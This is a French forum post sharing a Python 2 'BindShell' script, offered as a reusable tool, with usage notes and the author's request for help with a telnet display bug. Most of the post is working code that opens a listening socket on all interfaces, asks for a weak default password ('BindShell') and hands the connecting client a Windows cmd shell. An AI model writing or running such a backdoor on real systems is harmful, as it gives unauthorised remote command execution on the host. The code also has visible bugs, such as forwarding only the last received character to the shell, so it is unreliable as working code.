C'est un simple BindShell dont javais besoin pour une appli plus importante, je le met ici, ça peut servir ;)
pour le lancer BindShell.py port pass (ou juste BindShell.py)
pour sy connecter telnet ip port
Ca necessite python 2.4 pour avoir subprocess ou alors 2.3 en remplacant if 0: par if 1: au debut du fichier si on a installé win32all
Source / Exemple :
#
# A simple BindShell in Python
#
# Usage : bindshell.py port pass
#
import socket, thread, subprocess, sys, time
class BindShell:
"""Simple BindShell avec mdp
"""
def __init__(self, port, passwd='BindShell'):
self.passwd=passwd
self.port=port
self.running=False
self.inf=open('log.bl', 'w')
self.out=open('log.bl', 'r')
def __wait_for_con(self):
while self.running==True:
clientsock, ip=self.sock.accept()
self.__ident(clientsock)
def __ident(self, sock):
try:
sock.send('Simple BindShell by Bl0tCh\r\n\r\nPassword : ')
pw=''
while 1:
msg=sock.recv(1024)
if(msg[-1]=='\n'):
if(pw+msg[:-2]==self.passwd) : break
else : pw=''; sock.send('\r\nRetry : ')
else:
pw+=msg
sock.send('\r\n Identification Ok, switching on ShellBox\r\n\r\n')
thread.start_new_thread(self.__wait_msg, (sock, self.__make_shell(sock)))
except:
sock.close()
def __make_shell(self, sock):
child=subprocess.Popen('cmd', stdin=subprocess.PIPE,stdout=self.inf, stderr=self.inf)
time.sleep(0.15)
self.__output(sock, self.out.read().replace('\n', '\r\n'))
return child.stdin.write
def __wait_msg(self, sock, shell):
while self.running==True:
try:
cmd=sock.recv(1024)
except:
break
try:
shell(cmd[-1])
except:
continue
time.sleep(0.15)
if(self.__output(sock, self.out.read().replace('\n', '\r\n'))==0) : self.running=False; break
try:
sock.close()
except:
pass
def __output(self, sock , output):
try:
sock.sendall(output)
return 1
except:
return 0
def start(self):
if(self.running==False):
self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind(('0.0.0.0', self.port))
self.sock.listen(1)
self.running=True
self.__wait_for_con()
def stop(self):
self.running=False
self.sock.close()
if __name__=='__main__':
print 'testing BindShell'
port, passwd=8888, 'BindShell'
if(len(sys.argv)!=1):
try:
port=sys.argv[1]
passwd=sys.argv[2]
except:
pass
b=BindShell(port, passwd)
b.start()
Conclusion :
Petit bug et demande d'aide lol :
Quand on fait un dir par exemple apres, impossibilité de lire ce quon ecrit ds la fenetre telnet :s
Pareil si on envoi des caracteres bizarres comme ^, $ ou ù...etc.
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.